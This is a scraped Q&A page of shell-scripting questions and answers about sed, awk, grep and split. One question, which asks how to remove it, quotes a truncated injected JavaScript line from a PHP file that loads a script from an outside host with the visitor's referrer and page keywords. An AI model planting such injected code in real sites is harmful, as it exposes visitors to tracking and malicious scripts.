I have the following code:
#!/bin/bash
set -o errexit
set -o nounset
set -o pipefail
set -u
se () { sed -n 's/\s*r('"$1"').*|r| =\s\+//p'}
### gets the number of cell opt steps
exec 0<"DEMLIR.out"
while read -r line
do
gawk 'BEGIN{FS="OPTIMIZATION STEP:"} {print $2}' | tr -s " "
done>results
sed -i '/^$/d' results
#sed -e 's/^[ \t]*//' results
step=$(tail -n 1 results)
echo "${step}"
### gets the number of steps in each geo_opt output
for i in $(seq 1 $step)
do
exec 0<"DEMLIR-GEO_OPT-$i.out"
while read -r line
do
gawk 'BEGIN{FS="OPTIMIZATION STEP:"} {print $2}' | tr -s " "
done>results_geo_$i
sed -i '/^$/d' results_geo_$i
step_geo=$(tail -n 1 results_geo_$i)
echo "${step_geo}"
### goes through each line in distance.out and prints distances to array
exec 0<"DEMLIR-GEO_OPT-$i-distance-1.coordLog"
while read -r line
do
for j in $(seq 0 $step_geo)
do
"$line" | se
paste -d' ' <(printf '%s\n' $j) <(se 1,5) <(se 2,5) <(se 2,8)
done
done
done>DEMLIR_task.txt
I try to run this program but I keep getting the unexpected end of line erroron line 53. I saw that there are already answers for this problem but when I try dos2unixit says
dos2unix: converting file script_step.sh to Unix format...
but that's it. And when I run the code again it won't work.
I am expecting some errors at the last for loop, so if you see some you can also point them out. But if they are not related to the original problem then you can just ignore them.
The problem is here:
se () { sed -n 's/\s*r('"$1"').*|r| =\s\+//p'}
You need a semicolon or newline before the }. Otherwise, it's treated as part of the sed argument.
Related
After some string conversion of heterogeneous data, there are files with the following content:
file1.txt:
mat 445
file2.txt:
mat 734.2
and so on. But there are also intruders that do not match that pattern, e. g.
filen.txt:
mat 1
FBW
With everything that starts with "mat" I would like to proceed while all other lines shall be deleted.
The following does not work (and seems rather ponderous):
for f in *.txt ; do
if [[ ${f:0:3} == "mat" ]]; then
# do some string conversion with that line, which is not important here
sed -i -e 's/^.*\(mat.*\).*$/\1/' $f
sed -i -e 's/ //g' $f
tr '.' '_' < $f
sed -i -e 's/^/\<http:\/\/uricorn.fly\/tib\_lok\_sys\#/' "$f"
sed -i -e 's/\(.*\)[0-9]/&> /' "$f"
else
# delete the line that does not match the pattern
sed -i -e '^[mat]/d' $f
fi
done
As the comment below shows the if condition is incorrect as it does not match the file's content but its name.
Desired output should then be:
file1.txt
<http://uricorn.fly/tib_lok_sys#mat445>
file2.txt
<http://uricorn.fly/tib_lok_sys#mat734_2>
filen.txt
<http://uricorn.fly/tib_lok_sys#mat1>
How can this be achieved?
Source data, with some extras added to the last 2 files:
$ for s in 1 2 n
do
fn="file${s}.txt"
echo "+++++++++++ ${fn}"
cat "${fn}"
done
+++++++++++ file1.txt
mat 445
+++++++++++ file2.txt
mat 734.2.3
+++++++++++ filen.txt
mat 1 2 3
FBW
One awk solution that implements the most recent set of question edits:
awk -i inplace ' # overwrite the source file
/^mat/ { gsub(/ /,"") # if line starts with "^mat" then remove spaces ...
gsub(/\./,"_") # and replace periods with underscores
printf "<http://uricorn.fly/tib_lok_sys#%s>\n", $0 # print the desired output
}
' file{1,2,n}.txt
NOTES:
the -i inplace option requires GNU awk 4.1.0 (or better)
remove comments to declutter code
The above generates the following:
$ for s in 1 2 n
do
fn="file${s}.txt"
echo "+++++++++++ ${fn}"
cat "${fn}"
done
+++++++++++ file1.txt
<http://uricorn.fly/tib_lok_sys#mat445>
+++++++++++ file2.txt
<http://uricorn.fly/tib_lok_sys#mat734_2_3>
+++++++++++ filen.txt
<http://uricorn.fly/tib_lok_sys#mat123>
Sed:
sed -ri '/^mat/{s/[ ]//g;s/[.]/_/g;s#^(.*)$#<http://uricorn.fly/tib_lok_sys#\1>#g}' *.txt
Search for lines starting with mat and then first remove spaces, replace . with _ and finally substitute this string with a string including the http string prepended.
The other answers are far more elegant, but none worked on my system so here is what did eventually:
for f in *.txt ; do
# Remove every line that does not contain 'mat'
sed -i '/mat/!d' $f
# Remove every character until 'mat' begins
sed -i -e 's/^.*\(mat.*\).*$/\1/' $f
# Remove the blank between 'mat' and number
sed -i -e 's/ //g' $f
# Replace the dot in subcategories with an underscore
tr '.' '_' < $f
# Add URI
sed -i -e 's/^/\<http:\/\/uricorn.fly\/tib\_lok\_sys\#/' "$f"
sed -i -e 's/\(.*\)[0-9]/&> /' "$f"
uniq $f
done
I have a script in .php file which is the following :
var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}
I would like to replace in cmd line the whole line with (1) empty char. Is it possible? tried to do it with sed , but probably this is a too complex string.Tried to set the string in var , but didn't work either . Has anybody any idea?
This is actually something sed excels in. :)
sed -i '1s/.*/ /' your-file
Example:
$ cat test
one
two
three
$ sed '1s/.*/ /' < test
two
three
On my OS X i tested this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i '.txt' $strnum's/.*/ /' test.txt; done
On CentOS should work this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
You should replace qwe with your pattern. It will replace all strings where pattern would be found to space.
To put right content in grep, it should be prepared. You should create file with required pattern and start command:
echo '"'$(cat your_file | sed -e 's|"|\\"|g')'"'
Result of this command should be replaced qwe(with quotes for sure).
You should get something like this:
for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
When I try to run this script this error appears : operating extra /home/ubuntu/Desktop/Destino/, and I do not know why , someone help me please.
#!/bin/bash
input="/home/ubuntu/Desktop/Output/SAIDA.txt"
dt=`date +"%Y%m%d%H%M%S"`
layout='C'
if [ -e "$input" ] ; then
header=$(head -n 1 $input)
export header
tail -n +2 $input | split -l 99 -d --additional-suffix=.txt \ --filter='{ printf %s\\n "$header"; cat; }' >/home/ubuntu/Desktop/Destino/$FILE - NOMENCLATURA_${dt}_
for arquivo in ´Is/home/ubuntu/Desktop/*.txt´
do
NOME= ´cat $arquivo | cut -d "." -f1´
touch/home/ubuntu/Desktop/Destino/$NOME.cfg
echo $dt > $NOME.cfg
echo $layout > $NOME.cfg
done
else
echo "The input file does not exist."
fi
You have some strange quote characters in your script. To substitute the output of a command, wrap it with $() or backticks, not ´ characters.
for arquivo in ´Is/home/ubuntu/Desktop/*.txt´
I guess Is was meant to be ls, but you left out the space after it. But there's no need to parse the output of ls, just use the wildcard directly.
for arquivo in /home/ubuntu/Desktop/*.txt
On this line:
tail -n +2 $input | split -l 99 -d --additional-suffix=.txt \ --filter='{ printf %s\\n "$header"; cat; }' >/home/ubuntu/Desktop/Destino/$FILE - NOMENCLATURA_${dt}_
you need to put the output filename in quotes because of the spaces.
tail -n +2 $input | split -l 99 -d --additional-suffix=.txt \ --filter='{ printf %s\\n "$header"; cat; }' >"/home/ubuntu/Desktop/Destino/$FILE - NOMENCLATURA_${dt}_"
Also, the FILE variable is not set, you need to assign that earlier.
On this line:
NOME= ´cat $arquivo | cut -d "." -f1´
you're again using the wrong type of quotes to capture the output of the command. Also, you must not have a space between = and the value you want to assign. It should be:
NOME=$(cat $arquivo | cut -d "." -f1)
There's no need to do export header. The variable is only being used in this script, not in any child processes.
I need to get all log done in my project.
I'm using this command to do that:
grep -rnw $1 -e "Logger.[view]*;$" >> log.txt
this line return all lines containing Logger.[one of the these caracters]
contained in the project directory "$1" except that there are some lines written on 2 or 3 lines (IDE formating). In this case I get only the first line only.
What can I do to get the complete text of that log knowing that a log line will always end with ");"
example of such line :
Logger.v(xxxxxxxxxxxxx
xxxxxxxxxxxxxxxx);
Here is my script:
#!/bin/bash
echo "Hello Logger!
# get project path
echo "project directory is $1"
# get all project logs and store them into temporary file tmp.txt for processing
grep -rnw $1 -e "Logger.[view]" >> tmp.txt
echo "tmp.txt created successfully"
# remove package name from previous result and store result into log.txt
sed -r 's/.{52}//' tmp.txt >> log.txt
echo "log.txt created successfully"
grep command return file_path/file_name : line_number : line.
I found this command that returns only the line even if it is written in 2 or 3 lines but without the file_path file_name and the line_number
sed -n '/Logger.[viewd]/{:start /;/!{N;b start};/Logger.[viewd]/p}' Main.java
Is there a way to have those two results combined.
example :
/home/xxx/xxx/xxx/Main.java:97:Logger.i(xxxxxxxxxxxxx);
/home/xxx/xxx/xxx/Main.java:106:Logger.d(yyyyyyyyyyyy
yyyyyyyyyyyyyyyyyyyy);
i think that's a break line problem. Try to replace grep -rnw $1 -e "Logger.[view]" >> tmp.txt by the following lines:
for i in `ls $1`;
do
cat $1/$i | tr '\n' ' ' | grep -rnw -e "Logger.[view]" >> tmp.txt
done
Here, tr '\n' ' ' replace the break line by a simple space.
I found a solution for my problem and here is my code:
# get all project logs and store them into log.txt for processing
for i in $(find -name "*.java")
do
echo >> log.txt
echo "**************** file $i ********************************" >> log.txt
echo >> log.txt
grep -rnw Logger.[viewd] $i | while read -r line ; do
# remove breaklines from first line to avoid having bad results
line="$(echo $line | sed $'s/\r//')"
# if first line ends with ");" print it to log file
if [[ ${line: -2} == ");" ]]; then
echo $line >> log.txt
# else get next line also
else
# get second line number
line_number="$(echo "$line" | cut -d : -f1)"
next_line_number=$((line_number+1))
# get second line
next_line=$(sed "${next_line_number}q;d" $i | sed -e 's/^[ \t]*//')
# concatenate first line & second line
line="$line $next_line"
# print resulting line to log file
echo $line >> log.txt
fi
done
I have the following code:
names=$(ls *$1*.txt)
head -q -n 1 $names | cut -d "_" -f 2
where the first line finds and stores all names matching the command line input into a variable called names, and the second grabs the first line in each file (element of the variable names) and outputs the second part of the line based on the "_" delim.
This is all good, however I would like to prepend the filename (stored as lines in the variable names) to the output of cut. I have tried:
names=$(ls *$1*.txt)
head -q -n 1 $names | echo -n "$names" cut -d "_" -f 2
however this only prints out the filenames
I have tried
names=$(ls *$1*.txt
head -q -n 1 $names | echo -n "$names"; cut -d "_" -f 2
and again I only print out the filenames.
The desired output is:
$
filename1.txt <second character>
where there is a single whitespace between the filename and the result of cut.
Thank you.
Best approach, using awk
You can do this all in one invocation of awk:
awk -F_ 'NR==1{print FILENAME, $2; exit}' *"$1"*.txt
On the first line of the first file, this prints the filename and the value of the second column, then exits.
Pure bash solution
I would always recommend against parsing ls - instead I would use a loop:
You can avoid the use of awk to read the first line of the file by using bash built-in functionality:
for i in *"$1"*.txt; do
IFS=_ read -ra arr <"$i"
echo "$i ${arr[1]}"
break
done
Here we read the first line of the file into an array, splitting it into pieces on the _.
Maybe something like that will satisfy your need BUT THIS IS BAD CODING (see comments):
#!/bin/bash
names=$(ls *$1*.txt)
for f in $names
do
pattern=`head -q -n 1 $f | cut -d "_" -f 2`
echo "$f $pattern"
done
If I didn't misunderstand your goal, this also works.
I've always done it this way, I just found out that this is a deprecated way to do it.
#!/bin/bash
names=$(ls *"$1"*.txt)
for e in $names;
do echo $e `echo "$e" | cut -c2-2`;
done